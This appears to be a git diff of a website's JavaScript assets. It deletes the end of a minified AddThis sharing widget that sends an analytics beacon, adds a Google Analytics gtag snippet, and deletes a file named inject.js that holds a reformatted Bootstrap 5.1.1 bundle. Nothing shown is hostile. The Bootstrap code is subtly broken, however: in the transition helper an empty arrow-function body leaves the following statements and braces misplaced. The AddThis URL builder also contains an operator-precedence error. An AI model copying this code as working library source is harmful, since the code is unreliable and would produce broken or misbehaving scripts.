-                description: _
-            }),
-            (k = (0, o.default)(c, {
-                media: v,
-                url: p,
-                title: f,
-                description: _,
-                product: r
-            }));
-            break;
-        case 'follow':
-            (C = {
-                service: c,
-                username: b,
-                usertype: w
-            }),
-            (k = (0, s.default)(
-                c, {
-                    id: b,
-                    userType: w
-                },
-                r,
-                x,
-                y
-            ));
-    }
-    h(k, i, C), a && a(C);
-};
-g(c.querySelectorAll(n)).forEach((e) => e.addEventListener('click', f));
-};
-(t.default = (e) => {
-    (e.shareButton = function(...args) {
-        var t = args.length > 0 && void 0 !== args[0] ? args[0] : {};
-        return (
-            (t.element = document),
-            (t.buttonSelector = t.button_selector || '.addthis_share_button'),
-            (t.type = 'share'),
-            (t.product = 'sbapi'),
-            _(t),
-            e
-        );
-    }),
-    (e.followButton = function(...args) {
-        var t = args.length > 0 && void 0 !== args[0] ? args[0] : {};
-        return (
-            (t.element = document),
-            (t.buttonSelector = t.button_selector || '.addthis_follow_button'),
-            (t.type = 'follow'),
-            (t.product = 'fbapi'),
-            _(t),
-            e
-        );
-    }),
-    (e.share = function(...args) {
-        var t = args.length > 0 && void 0 !== args[0] ? args[0] : {};
-        var n = t.container_selector || '.addthis_share';
-        var a = t.button_selector || '.addthis_share_button';
-        var i = t.click;
-        var o = t.close;
-        if ('string' != typeof n) throw new Error('Bad Options');
-        return (
-            g(document.querySelectorAll(n)).map((e) => {
-                (t.element = e),
-                _({
-                    element: e,
-                    click: i,
-                    close: o,
-                    buttonSelector: a,
-                    type: 'share',
-                    product: 'sapi'
-                });
-            }),
-            e
-        );
-    }),
-    (e.follow = function(...args) {
-        var t = args.length > 0 && void 0 !== args[0] ? args[0] : {};
-        var n = t.container_selector || '.addthis_follow';
-        var a = t.button_selector || '.addthis_follow_button';
-        var i = t.click;
-        var o = t.close;
-        if ('string' != typeof n) throw new Error('Bad Options');
-        return (
-            g(document.querySelectorAll(n)).map((e) => {
-                (t.element = e),
-                _({
-                    element: e,
-                    click: i,
-                    close: o,
-                    buttonSelector: a,
-                    type: 'follow',
-                    product: 'fapi'
-                });
-            }),
-            e
-        );
-    });
-}),
-(e.exports = t.default);
-},
-(e, t, n) => {
-    'use strict';
-    function a() {
-        return r + '?rev=' + window._atc.rev + '&c=' + $__$.serialize() + '&pub=' + o() + '&device=' + !1 ? 'mobile' : 'desktop';
-    }
-    var i = n(23).listen;
-    var o = n(55);
-    var r = 'https://v1.addthisedge.com/live/jse';
-    'undefined' != typeof $__$ &&
-        (window.navigator.sendBeacon ?
-            i(window, 'beforeunload', () => {
-                navigator.sendBeacon(a(), '{}');
-            }) :
-            setTimeout(() => {
-                var e = new Image();
-                e.src = a();
-            }, 25e3));
-}
-])
-););
diff --git a/static/js/google-analytics.js b/static/js/google-analytics.js
new file mode 100644
index 0000000000..83f2ce68a4
--- /dev/null
+++ b/static/js/google-analytics.js
@@ -0,0 +1,6 @@
+
+  window.dataLayer = window.dataLayer || [];
+  function gtag(){dataLayer.push(arguments);}
+  gtag('js', new Date());
+
+  gtag('config', 'G-F56YP2Y17L');
diff --git a/static/js/inject.js b/static/js/inject.js
deleted file mode 100644
index c7cfc7484d..0000000000
--- a/static/js/inject.js
+++ /dev/null
@@ -1,3669 +0,0 @@
-/*!
- * Bootstrap v5.1.1 (https://getbootstrap.com/)
- * Copyright 2011-2021 The Bootstrap Authors
- * (https://github.com/twbs/bootstrap/graphs/contributors) Licensed under MIT
- * (https://github.com/twbs/bootstrap/blob/main/LICENSE)
- */
-!(function(t, e) {
-    'object' == typeof exports && 'undefined' != typeof module ?
-        (module.exports = e(require('@popperjs/core'))) :
-        'function' == typeof define && define.amd ?
-        define(['@popperjs/core'], e) :
-        ((t = 'undefined' != typeof globalThis ? globalThis : t || self).bootstrap = e(t.Popper));
-})(this, function(t) {
-        'use strict';
-        function e(t) {
-            if (t && t.__esModule) return t;
-            var e = Object.create(null);
-            return (
-                t &&
-                Object.keys(t).forEach(function(i) {
-                    if ('default' !== i) {
-                        var s = Object.getOwnPropertyDescriptor(t, i);
-                        Object.defineProperty(
-                            e,
-                            i,
-                            s.get ?
-                            s : {
-                                enumerable: !0,
-                                get: function() {
-                                    return t[i];
-                                }
-                            }
-                        );
-                    }
-                }),
-                (e.default = t),
-                Object.freeze(e)
-            );
-        }
-        var i = e(t);
-        const s = (t) => {
-                let e = t.getAttribute('data-bs-target');
-                if (!e || '#' === e) {
-                    let i = t.getAttribute('href');
-                    if (!i || (!i.includes('#') && !i.startsWith('.'))) return null;
-                    i.includes('#') && !i.startsWith('#') && (i = '#' + i.split('#')[1]), (e = i && '#' !== i ? i.trim() : null);
-                }
-                return e;
-            },
-            n = (t) => {
-                const e = s(t);
-                return e && document.querySelector(e) ? e : null;
-            },
-            o = (t) => {
-                const e = s(t);
-                return e ? document.querySelector(e) : null;
-            },
-            r = (t) => {
-                t.dispatchEvent(new Event('transitionend'));
-            },
-            a = (t) => !(!t || 'object' != typeof t) && (void 0 !== t.jquery && (t = t[0]), void 0 !== t.nodeType),
-            l = (t) => (a(t) ? (t.jquery ? t[0] : t) : 'string' == typeof t && t.length > 0 ? document.querySelector(t) : null),
-            c = (t, e, i) => {
-                Object.keys(i).forEach((s) => {
-                    const n = i[s],
-                        o = e[s],
-                        r =
-                        o && a(o) ?
-                        'element' :
-                        null == (l = o) ?
-                        '' + l : {}.toString
-                        .call(l)
-                        .match(/\s([a-z]+)/i)[1]
-                        .toLowerCase();
-                    var l;
-                    if (!new RegExp(n).test(r)) throw new TypeError(`${t.toUpperCase()}: Option "${s}" provided type "${r}" but expected type "${n}".`);
-                });
-            },
-            h = (t) => !(!a(t) || 0 === t.getClientRects().length) && 'visible' === getComputedStyle(t).getPropertyValue('visibility'),
-            d = (t) =>
-            !t ||
-            t.nodeType !== Node.ELEMENT_NODE ||
-            !!t.classList.contains('disabled') ||
-            (void 0 !== t.disabled ? t.disabled : t.hasAttribute('disabled') && 'false' !== t.getAttribute('disabled')),
-            u = (t) => {
-                if (!document.documentElement.attachShadow) return null;
-                if ('function' == typeof t.getRootNode) {
-                    const e = t.getRootNode();
-                    return e instanceof ShadowRoot ? e : null;
-                }
-                return t instanceof ShadowRoot ? t : t.parentNode ? u(t.parentNode) : null;
-            },
-            g = () => {},
-            p = (t) => {
-                t.offsetHeight;
-            },
-            f = () => {
-                const {
-                    jQuery: t
-                } = window;
-                return t && !document.body.hasAttribute('data-bs-no-jquery') ? t : null;
-            },
-            _ = [],
-            m = () => 'rtl' === document.documentElement.dir,
-            b = (t) => {
-                var e;
-                (e = () => {
-                    const e = f();
-                    if (e) {
-                        const i = t.NAME,
-                            s = e.fn[i];
-                        (e.fn[i] = t.jQueryInterface), (e.fn[i].Constructor = t), (e.fn[i].noConflict = () => ((e.fn[i] = s), t.jQueryInterface));
-                    }
-                }),
-                'loading' === document.readyState ?
-                    (_.length ||
-                        document.addEventListener('DOMContentLoaded', () => {
-                            _.forEach((t) => t());
-                        }),
-                        _.push(e)) :
-                    e();
-            },
-            v = (t) => {
-                'function' == typeof t && t();
-            },
-            w = (t, e, i = !0) => {
-                if (!i) return void v(t);
-                const s =
-                    ((t) => {
-                        if (!t) return 0;
-                        let {
-                            transitionDuration: e,
-                            transitionDelay: i
-                        } = window.getComputedStyle(t);
-                        const s = Number.parseFloat(e),
-                            n = Number.parseFloat(i);
-                        return s || n ? ((e = e.split(',')[0]), (i = i.split(',')[0]), 1e3 * (Number.parseFloat(e) + Number.parseFloat(i))) : 0;
-                    })(e) + 5;
-                let n = !1;
-                const o = ({
-                    target: i
-                }) => {}
-                i === e && ((n = !0), e.removeEventListener('transitionend', o), v(t));
-            };
-        e.addEventListener('transitionend', o),
-            setTimeout(() => {
-                n || r(e);
-            }, s);
-    },
-    y = (t, e, i, s) => {
-        let n = t.indexOf(e);
-        if (-1 === n) return t[!i && s ? t.length - 1 : 0];
-        const o = t.length;
-        return (n += i ? 1 : -1), s && (n = (n + o) % o), t[Math.max(0, Math.min(n, o - 1))];
-    },
-    E = /[^.]*(?=\..*)\.|.*/,
-    A = /\..*/,
-    T = /::\d+$/,
-    C = {};
-    let k = 1;
-    const L = {
-            mouseenter: 'mouseover',
-            mouseleave: 'mouseout'
-        },
-        S = /^(mouseenter|mouseleave)/i,
-        O = new Set([
-            'click',
-            'dblclick',
-            'mouseup',
-            'mousedown',
-            'contextmenu',
-            'mousewheel',
-            'DOMMouseScroll',
-            'mouseover',
-            'mouseout',
-            'mousemove',
-            'selectstart',
-            'selectend',
-            'keydown',
-            'keypress',
-            'keyup',
-            'orientationchange',
-            'touchstart',
-            'touchmove',
-            'touchend',
-            'touchcancel',
-            'pointerdown',
-            'pointermove',
-            'pointerup',
-            'pointerleave',
-            'pointercancel',
-            'gesturestart',
-            'gesturechange',
-            'gestureend',
-            'focus',
-            'blur',
-            'change',
-            'reset',
-            'select',
-            'submit',
-            'focusin',
-            'focusout',
-            'load',
-            'unload',
-            'beforeunload',
-            'resize',
-            'move',
-            'DOMContentLoaded',
-            'readystatechange',
-            'error',
-            'abort',
-            'scroll'
-        ]);
-    function N(t, e) {
-        return (e && `${e}::${k++}`) || t.uidEvent || k++;
-    }
-    function D(t) {
-        const e = N(t);
-        return (t.uidEvent = e), (C[e] = C[e] || {}), C[e];
-    }
-    function I(t, e, i = null) {
-        const s = Object.keys(t);
-        for (let n = 0, o = s.length; n < o; n++) {
-            const o = t[s[n]];
-            if (o.originalHandler === e && o.delegationSelector === i) return o;
-        }
-        return null;
-    }
-    function P(t, e, i) {
-        const s = 'string' == typeof e,
-            n = s ? i : e;
-        let o = j(t);
-        return O.has(o) || (o = t), [s, n, o];
-    }
-    function x(t, e, i, s, n) {
-        if ('string' != typeof e || !t) return;
-        if ((i || ((i = s), (s = null)), S.test(e))) {
-            const t = (t) =>
-                function(e) {
-                    if (!e.relatedTarget || (e.relatedTarget !== e.delegateTarget && !e.delegateTarget.contains(e.relatedTarget))) return t.call(this, e);
-                };
-            s ? (s = t(s)) : (i = t(i));
-        }
-        const [o, r, a] = P(e, i, s),
-            l = D(t),
-            c = l[a] || (l[a] = {}),
-            h = I(c, r, o ? i : null);
-        if (h) return void(h.oneOff = h.oneOff && n);
-        const d = N(r, e.replace(E, '')),
-            u = o ?
-            (function(t, e, i) {
-                return function s(n) {
-                    const o = t.querySelectorAll(e);
-                    for (let {
-                            target: r
-                        } = n; r && r !== this; r = r.parentNode)
-                        for (let a = o.length; a--;)
-                            if (o[a] === r) return (n.delegateTarget = r), s.oneOff && H.off(t, n.type, e, i), i.apply(r, [n]);
-                    return null;
-                };
-            })(t, i, s) :
-            (function(t, e) {
-                return function i(s) {
-                    return (s.delegateTarget = t), i.oneOff && H.off(t, s.type, e), e.apply(t, [s]);
-                };
-            })(t, i);
-        (u.delegationSelector = o ? i : null), (u.originalHandler = r), (u.oneOff = n), (u.uidEvent = d), (c[d] = u), t.addEventListener(a, u, o);
-    }
-    function M(t, e, i, s, n) {
-        const o = I(e[i], s, n);
-        o && (t.removeEventListener(i, o, Boolean(n)), delete e[i][o.uidEvent]);
-    }
-    function j(t) {
-        return (t = t.replace(A, '')), L[t] || t;
-    }
-    const H = {
-            on(t, e, i, s) {
-                x(t, e, i, s, !1);
-            },
-            one(t, e, i, s) {
-                x(t, e, i, s, !0);
-            },
-            off(t, e, i, s) {
-                if ('string' != typeof e || !t) return;
-                const [n, o, r] = P(e, i, s),
-                    a = r !== e,
-                    l = D(t),
-                    c = e.startsWith('.');
-                if (void 0 !== o) {
-                    if (!l || !l[r]) return;
-                    return void M(t, l, r, o, n ? i : null);
-                }
-                c &&
-                    Object.keys(l).forEach((i) => {
-                        !(function(t, e, i, s) {
-                            const n = e[i] || {};
-                            Object.keys(n).forEach((o) => {
-                                if (o.includes(s)) {
-                                    const s = n[o];
-                                    M(t, e, i, s.originalHandler, s.delegationSelector);
-                                }
-                            });
-                        })(t, l, i, e.slice(1));
-                    });
-                const h = l[r] || {};
-                Object.keys(h).forEach((i) => {
-                    const s = i.replace(T, '');
-                    if (!a || e.includes(s)) {
-                        const e = h[i];
-                        M(t, l, r, e.originalHandler, e.delegationSelector);
-                    }
-                });
-            },
-            trigger(t, e, i) {
-                if ('string' != typeof e || !t) return null;
-                const s = f(),
-                    n = j(e),
-                    o = e !== n,
-                    r = O.has(n);
-                let a,
-                    l = !0,
-                    c = !0,
-                    h = !1,
-                    d = null;
-                return (
-                    o &&
-                    s &&
-                    ((a = s.Event(e, i)),
-                        s(t).trigger(a),
-                        (l = !a.isPropagationStopped()),
-                        (c = !a.isImmediatePropagationStopped()),
-                        (h = a.isDefaultPrevented())),
-                    r ?
-                    ((d = document.createEvent('HTMLEvents')), d.initEvent(n, l, !0)) :
-                    (d = new CustomEvent(e, {
-                        bubbles: l,
-                        cancelable: !0
-                    })),
-                    void 0 !== i &&
-                    Object.keys(i).forEach((t) => {
-                        Object.defineProperty(d, t, {
-                            get: () => i[t]
-                        });
-                    }),
-                    h && d.preventDefault(),
-                    c && t.dispatchEvent(d),
-                    d.defaultPrevented && void 0 !== a && a.preventDefault(),
-                    d
-                );
-            }
-        },
-        B = new Map();
-    var z = {
-        set(t, e, i) {
-            B.has(t) || B.set(t, new Map());
-            const s = B.get(t);
-            s.has(e) || 0 === s.size ?
-                s.set(e, i) :
-                console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(s.keys())[0]}.`);
-        },
-        get: (t, e) => (B.has(t) && B.get(t).get(e)) || null,
-        remove(t, e) {
-            if (!B.has(t)) return;
-            const i = B.get(t);
-            i.delete(e), 0 === i.size && B.delete(t);
-        }
-    }; class R {
-        constructor(t) {
-            (t = l(t)) && ((this._element = t), z.set(this._element, this.constructor.DATA_KEY, this));
-        }
-        dispose() {
-            z.remove(this._element, this.constructor.DATA_KEY),
-                H.off(this._element, this.constructor.EVENT_KEY),
-                Object.getOwnPropertyNames(this).forEach((t) => {
-                    this[t] = null;
-                });
-        }
-        _queueCallback(t, e, i = !0) {
-            w(t, e, i);
-        }
-        static getInstance(t) {
-            return z.get(l(t), this.DATA_KEY);
-        }
-        static getOrCreateInstance(t, e = {}) {
-            return this.getInstance(t) || new this(t, 'object' == typeof e ? e : null);
-        }
-        static get VERSION() {
-            return '5.1.1';
-        }
-        static get NAME() {
-            throw new Error('You have to implement the static method "NAME", for each component!');
-        }
-        static get DATA_KEY() {
-            return 'bs.' + this.NAME;
-        }
-        static get EVENT_KEY() {
-            return '.' + this.DATA_KEY;
-        }
-    }
-    const F = (t, e = 'hide') => {
-        const i = 'click.dismiss' + t.EVENT_KEY,
-            s = t.NAME;
-        H.on(document, i, `[data-bs-dismiss="${s}"]`, function(i) {
-            if ((['A', 'AREA'].includes(this.tagName) && i.preventDefault(), d(this))) return;
-            const n = o(this) || this.closest('.' + s);
-            t.getOrCreateInstance(n)[e]();
-        });
-    }; class q extends R {
-        static get NAME() {
-            return 'alert';
-        }
-        close() {
-            if (H.trigger(this._element, 'close.bs.alert').defaultPrevented) return;
-            this._element.classList.remove('show');
-            const t = this._element.classList.contains('fade');
-            this._queueCallback(() => this._destroyElement(), this._element, t);
-        }
-        _destroyElement() {
-            this._element.remove(), H.trigger(this._element, 'closed.bs.alert'), this.dispose();
-        }
-        static jQueryInterface(t) {
-            return this.each(function() {
-                const e = q.getOrCreateInstance(this);
-                if ('string' == typeof t) {
-                    if (void 0 === e[t] || t.startsWith('_') || 'constructor' === t) throw new TypeError(`No method named "${t}"`);
-                    e[t](this);
-                }
-            });
-        }
-    }
-    F(q, 'close'), b(q); class W extends R {
-        static get NAME() {
-            return 'button';
-        }
-        toggle() {
-            this._element.setAttribute('aria-pressed', this._element.classList.toggle('active'));
-        }
-        static jQueryInterface(t) {
-            return this.each(function() {
-                const e = W.getOrCreateInstance(this);
-                'toggle' === t && e[t]();
-            });
-        }
-    }
-    function $(t) {
-        return 'true' === t || ('false' !== t && (t === Number(t).toString() ? Number(t) : '' === t || 'null' === t ? null : t));
-    }
-    function U(t) {
-        return t.replace(/[A-Z]/g, (t) => '-' + t.toLowerCase());
-    }
-    H.on(document, 'click.bs.button.data-api', '[data-bs-toggle="button"]', (t) => {
-        t.preventDefault();
-        const e = t.target.closest('[data-bs-toggle="button"]');
-        W.getOrCreateInstance(e).toggle();
-    }),
-    b(W);
-    const K = {
-            setDataAttribute(t, e, i) {
-                t.setAttribute('data-bs-' + U(e), i);
-            },
-            removeDataAttribute(t, e) {
-                t.removeAttribute('data-bs-' + U(e));
-            },
-            getDataAttributes(t) {
-                if (!t) return {};
-                const e = {};
-                return (
-                    Object.keys(t.dataset)
-                    .filter((t) => t.startsWith('bs'))
-                    .forEach((i) => {
-                        let s = i.replace(/^bs/, '');
-                        (s = s.charAt(0).toLowerCase() + s.slice(1, s.length)), (e[s] = $(t.dataset[i]));
-                    }),
-                    e
-                );
-            },
-            getDataAttribute: (t, e) => $(t.getAttribute('data-bs-' + U(e))),
-            offset(t) {
-                const e = t.getBoundingClientRect();
-                return {
-                    top: e.top + window.pageYOffset,
-                    left: e.left + window.pageXOffset
-                };
-            },
-            position: (t) => ({
-                top: t.offsetTop,
-                left: t.offsetLeft
-            })
-        },
-        V = {
-            find: (t, e = document.documentElement) => [].concat(...Element.prototype.querySelectorAll.call(e, t)),
-            findOne: (t, e = document.documentElement) => Element.prototype.querySelector.call(e, t),
-            children: (t, e) => [].concat(...t.children).filter((t) => t.matches(e)),
-            parents(t, e) {
-                const i = [];
-                let s = t.parentNode;
-                for (; s && s.nodeType === Node.ELEMENT_NODE && 3 !== s.nodeType;) s.matches(e) && i.push(s), (s = s.parentNode);
-                return i;
-            },
-            prev(t, e) {
-                let i = t.previousElementSibling;
-                for (; i;) {
-                    if (i.matches(e)) return [i];
-                    i = i.previousElementSibling;
-                }
-                return [];
-            },
-            next(t, e) {
-                let i = t.nextElementSibling;
-                for (; i;) {
-                    if (i.matches(e)) return [i];
-                    i = i.nextElementSibling;
-                }
-                return [];
-            },
-            focusableChildren(t) {
-                const e = ['a', 'button', 'input', 'textarea', 'select', 'details', '[tabindex]', '[contenteditable="true"]']
-                    .map((t) => t + ':not([tabindex^="-"])')
-                    .join(', ');
-                return this.find(e, t).filter((t) => !d(t) && h(t));
-            }
-        },
-        X = {
-            interval: 5e3,
-            keyboard: !0,
-            slide: !1,
-            pause: 'hover',
-            wrap: !0,
-            touch: !0
-        },
-        Y = {
-            interval: '(number|boolean)',
-            keyboard: 'boolean',
-            slide: '(boolean|string)',
-            pause: '(string|boolean)',
-            wrap: 'boolean',
-            touch: 'boolean'
-        },
-        Q = 'next',
-        G = 'prev',
-        Z = 'left',
-        J = 'right',
-        tt = {
-            ArrowLeft: J,
-            ArrowRight: Z
-        }; class et extends R {
-        constructor(t, e) {
-            super(t),
-                (this._items = null),
-                (this._interval = null),
-                (this._activeElement = null),
-                (this._isPaused = !1),
-                (this._isSliding = !1),
-                (this.touchTimeout = null),
-                (this.touchStartX = 0),
-                (this.touchDeltaX = 0),
-                (this._config = this._getConfig(e)),
-                (this._indicatorsElement = V.findOne('.carousel-indicators', this._element)),
-                (this._touchSupported = 'ontouchstart' in document.documentElement || navigator.maxTouchPoints > 0),
-                (this._pointerEvent = Boolean(window.PointerEvent)),
-                this._addEventListeners();
-        }
-        static get Default() {
-            return X;
-        }
-        static get NAME() {
-            return 'carousel';
-        }
-        next() {
-            this._slide(Q);
-        }
-        nextWhenVisible() {
-            !document.hidden && h(this._element) && this.next();
-        }
-        prev() {
-            this._slide(G);
-        }
-        pause(t) {
-            t || (this._isPaused = !0),
-                V.findOne('.carousel-item-next, .carousel-item-prev', this._element) && (r(this._element), this.cycle(!0)),
-                clearInterval(this._interval),
-                (this._interval = null);
-        }
-        cycle(t) {
-            t || (this._isPaused = !1),
-                this._interval && (clearInterval(this._interval), (this._interval = null)),
-                this._config &&
-                this._config.interval &&
-                !this._isPaused &&
-                (this._updateInterval(),
-                    (this._interval = setInterval((document.visibilityState ? this.nextWhenVisible : this.next).bind(this), this._config.interval)));
-        }
-        to(t) {
-            this._activeElement = V.findOne('.active.carousel-item', this._element);
-            const e = this._getItemIndex(this._activeElement);
-            if (t > this._items.length - 1 || t < 0) return;
-            if (this._isSliding) return void H.one(this._element, 'slid.bs.carousel', () => this.to(t));
-            if (e === t) return this.pause(), void this.cycle();
-            const i = t > e ? Q : G;
-            this._slide(i, this._items[t]);
-        }
-        _getConfig(t) {
-            return (
-                (t = {
-                    ...X,
-                    ...K.getDataAttributes(this._element),
-                    ...('object' == typeof t ? t : {})
-                }),
-                c('carousel', t, Y),
-                t
-            );
-        }
-        _handleSwipe() {
-            const t = Math.abs(this.touchDeltaX);
-            if (t <= 40) return;
-            const e = t / this.touchDeltaX;
-            (this.touchDeltaX = 0), e && this._slide(e > 0 ? J : Z);
-        }
-        _addEventListeners() {
-            this._config.keyboard && H.on(this._element, 'keydown.bs.carousel', (t) => this._keydown(t)),
-                'hover' === this._config.pause &&
-                (H.on(this._element, 'mouseenter.bs.carousel', (t) => this.pause(t)), H.on(this._element, 'mouseleave.bs.carousel', (t) => this.cycle(t))),
-                this._config.touch && this._touchSupported && this._addTouchEventListeners();
-        }
-        _addTouchEventListeners() {
-            const t = (t) => this._pointerEvent && ('pen' === t.pointerType || 'touch' === t.pointerType),
-                e = (e) => {
-                    t(e) ? (this.touchStartX = e.clientX) : this._pointerEvent || (this.touchStartX = e.touches[0].clientX);
-                },
-                i = (t) => {
-                    this.touchDeltaX = t.touches && t.touches.length > 1 ? 0 : t.touches[0].clientX - this.touchStartX;
-                },
-                s = (e) => {
-                    t(e) && (this.touchDeltaX = e.clientX - this.touchStartX),
-                        this._handleSwipe(),
-                        'hover' === this._config.pause &&
-                        (this.pause(),
-                            this.touchTimeout && clearTimeout(this.touchTimeout),
-                            (this.touchTimeout = setTimeout((t) => this.cycle(t), 500 + this._config.interval)));
-                };
-            V.find('.carousel-item img', this._element).forEach((t) => {
-                    H.on(t, 'dragstart.bs.carousel', (t) => t.preventDefault());
-                }),
-                this._pointerEvent ?
-                (H.on(this._element, 'pointerdown.bs.carousel', (t) => e(t)),
-                    H.on(this._element, 'pointerup.bs.carousel', (t) => s(t)),
-                    this._element.classList.add('pointer-event')) :
-                (H.on(this._element, 'touchstart.bs.carousel', (t) => e(t)),
-                    H.on(this._element, 'touchmove.bs.carousel', (t) => i(t)),
-                    H.on(this._element, 'touchend.bs.carousel', (t) => s(t)));
-        }
-        _keydown(t) {
-            if (/input|textarea/i.test(t.target.tagName)) return;
-            const e = tt[t.key];
-            e && (t.preventDefault(), this._slide(e));
-        }
-        _getItemIndex(t) {
-            return (this._items = t && t.parentNode ? V.find('.carousel-item', t.parentNode) : []), this._items.indexOf(t);
-        }
-        _getItemByOrder(t, e) {
-            const i = t === Q;
-            return y(this._items, e, i, this._config.wrap);
-        }
-        _triggerSlideEvent(t, e) {
-            const i = this._getItemIndex(t),
-                s = this._getItemIndex(V.findOne('.active.carousel-item', this._element));
-            return H.trigger(this._element, 'slide.bs.carousel', {
-                relatedTarget: t,
-                direction: e,
-                from: s,
-                to: i
-            });
-        }
-        _setActiveIndicatorElement(t) {
-            if (this._indicatorsElement) {
-                const e = V.findOne('.active', this._indicatorsElement);
-                e.classList.remove('active'), e.removeAttribute('aria-current');
-                const i = V.find('[data-bs-target]', this._indicatorsElement);
-                for (let e = 0; e < i.length; e++)
-                    if (Number.parseInt(i[e].getAttribute('data-bs-slide-to'), 10) === this._getItemIndex(t)) {
-                        i[e].classList.add('active'), i[e].setAttribute('aria-current', 'true');
-                        break;
-                    }
-            }
-        }
-        _updateInterval() {
-            const t = this._activeElement || V.findOne('.active.carousel-item', this._element);
-            if (!t) return;
-            const e = Number.parseInt(t.getAttribute('data-bs-interval'), 10);
-            e
-                ?
-                ((this._config.defaultInterval = this._config.defaultInterval || this._config.interval), (this._config.interval = e)) :
-                (this._config.interval = this._config.defaultInterval || this._config.interval);
-        }
-        _slide(t, e) {
-            const i = this._directionToOrder(t),
-                s = V.findOne('.active.carousel-item', this._element),
-                n = this._getItemIndex(s),
-                o = e || this._getItemByOrder(i, s),
-                r = this._getItemIndex(o),
-                a = Boolean(this._interval),
-                l = i === Q,
-                c = l ? 'carousel-item-start' : 'carousel-item-end',
-                h = l ? 'carousel-item-next' : 'carousel-item-prev',
-                d = this._orderToDirection(i);
-            if (o && o.classList.contains('active')) return void(this._isSliding = !1);
-            if (this._isSliding) return;
-            if (this._triggerSlideEvent(o, d).defaultPrevented) return;
-            if (!s || !o) return;
-            (this._isSliding = !0), a && this.pause(), this._setActiveIndicatorElement(o), (this._activeElement = o);
-            const u = () => {
-                H.trigger(this._element, 'slid.bs.carousel', {
-                    relatedTarget: o,
-                    direction: d,
-                    from: n,
-                    to: r
-                });
-            };
-            if (this._element.classList.contains('slide')) {
-                o.classList.add(h), p(o), s.classList.add(c), o.classList.add(c);
-                const t = () => {
-                    o.classList.remove(c, h), o.classList.add('active'), s.classList.remove('active', h, c), (this._isSliding = !1), setTimeout(u, 0);
-                };
-                this._queueCallback(t, s, !0);
-            } else s.classList.remove('active'), o.classList.add('active'), (this._isSliding = !1), u();
-            a && this.cycle();
-        }
-        _directionToOrder(t) {
-            return [J, Z].includes(t) ? (m() ? (t === Z ? G : Q) : t === Z ? Q : G) : t;
-        }
-        _orderToDirection(t) {
-            return [Q, G].includes(t) ? (m() ? (t === G ? Z : J) : t === G ? J : Z) : t;
-        }
-        static carouselInterface(t, e) {
-            const i = et.getOrCreateInstance(t, e);
-            let {
-                _config: s
-            } = i;
-            'object' == typeof e &&
-                (s = {
-                    ...s,
-                    ...e
-                });
-            const n = 'string' == typeof e ? e : s.slide;
-            if ('number' == typeof e) i.to(e);
-            else if ('string' == typeof n) {
-                if (void 0 === i[n]) throw new TypeError(`No method named "${n}"`);
-                i[n]();
-            } else s.interval && s.ride && (i.pause(), i.cycle());
-        }
-        static jQueryInterface(t) {
-            return this.each(function() {
-                et.carouselInterface(this, t);
-            });
-        }
-        static dataApiClickHandler(t) {
-            const e = o(this);
-            if (!e || !e.classList.contains('carousel')) return;
-            const i = {
-                    ...K.getDataAttributes(e),
-                    ...K.getDataAttributes(this)
-                },
-                s = this.getAttribute('data-bs-slide-to');
-            s && (i.interval = !1), et.carouselInterface(e, i), s && et.getInstance(e).to(s), t.preventDefault();
-        }
-    }
-    H.on(document, 'click.bs.carousel.data-api', '[data-bs-slide], [data-bs-slide-to]', et.dataApiClickHandler),
-    H.on(window, 'load.bs.carousel.data-api', () => {
-        const t = V.find('[data-bs-ride="carousel"]');
-        for (let e = 0, i = t.length; e < i; e++) et.carouselInterface(t[e], et.getInstance(t[e]));
-    }),
-    b(et);
-    const it = {
-            toggle: !0,
-            parent: null
-        },
-        st = {
-            toggle: 'boolean',
-            parent: '(null|element)'
-        }; class nt extends R {
-        constructor(t, e) {
-            super(t), (this._isTransitioning = !1), (this._config = this._getConfig(e)), (this._triggerArray = []);
-            const i = V.find('[data-bs-toggle="collapse"]');
-            for (let t = 0, e = i.length; t < e; t++) {
-                const e = i[t],
-                    s = n(e),
-                    o = V.find(s).filter((t) => t === this._element);
-                null !== s && o.length && ((this._selector = s), this._triggerArray.push(e));
-            }
-            this._initializeChildren(),
-                this._config.parent || this._addAriaAndCollapsedClass(this._triggerArray, this._isShown()),
-                this._config.toggle && this.toggle();
-        }
-        static get Default() {
-            return it;
-        }
-        static get NAME() {
-            return 'collapse';
-        }
-        toggle() {
-            this._isShown() ? this.hide() : this.show();
-        }
-        show() {
-            if (this._isTransitioning || this._isShown()) return;
-            let t,
-                e = [];
-            if (this._config.parent) {
-                const t = V.find('.collapse .collapse', this._config.parent);
-                e = V.find('.collapse.show, .collapse.collapsing', this._config.parent).filter((e) => !t.includes(e));
-            }
-            const i = V.findOne(this._selector);
-            if (e.length) {
-                const s = e.find((t) => i !== t);
-                if (((t = s ? nt.getInstance(s) : null), t && t._isTransitioning)) return;
-            }
-            if (H.trigger(this._element, 'show.bs.collapse').defaultPrevented) return;
-            e.forEach((e) => {
-                i !== e &&
-                    nt
-                    .getOrCreateInstance(e, {
-                        toggle: !1
-                    })
-                    .hide(),
-                    t || z.set(e, 'bs.collapse', null);
-            });
-            const s = this._getDimension();
-            this._element.classList.remove('collapse'),
-                this._element.classList.add('collapsing'),
-                (this._element.style[s] = 0),
-                this._addAriaAndCollapsedClass(this._triggerArray, !0),
-                (this._isTransitioning = !0);
-            const n = 'scroll' + (s[0].toUpperCase() + s.slice(1));
-            this._queueCallback(
-                    () => {
-                        (this._isTransitioning = !1),
-                        this._element.classList.remove('collapsing'),
-                            this._element.classList.add('collapse', 'show'),
-                            (this._element.style[s] = ''),
-                            H.trigger(this._element, 'shown.bs.collapse');
-                    },
-                    this._element,
-                    !0
-                ),
-                (this._element.style[s] = this._element[n] + 'px');
-        }
-        hide() {
-            if (this._isTransitioning || !this._isShown()) return;
-            if (H.trigger(this._element, 'hide.bs.collapse').defaultPrevented) return;
-            const t = this._getDimension();
-            (this._element.style[t] = this._element.getBoundingClientRect()[t] + 'px'),
-            p(this._element),
-                this._element.classList.add('collapsing'),
-                this._element.classList.remove('collapse', 'show');
-            const e = this._triggerArray.length;
-            for (let t = 0; t < e; t++) {
-                const e = this._triggerArray[t],
-                    i = o(e);
-                i && !this._isShown(i) && this._addAriaAndCollapsedClass([e], !1);
-            }
-            (this._isTransitioning = !0),
-            (this._element.style[t] = ''),
-            this._queueCallback(
-                () => {
-                    (this._isTransitioning = !1),
-                    this._element.classList.remove('collapsing'),
-                        this._element.classList.add('collapse'),
-                        H.trigger(this._element, 'hidden.bs.collapse');
-                },
-                this._element,
-                !0
-            );
-        }
-        _isShown(t = this._element) {
-            return t.classList.contains('show');
-        }
-        _getConfig(t) {
-            return (
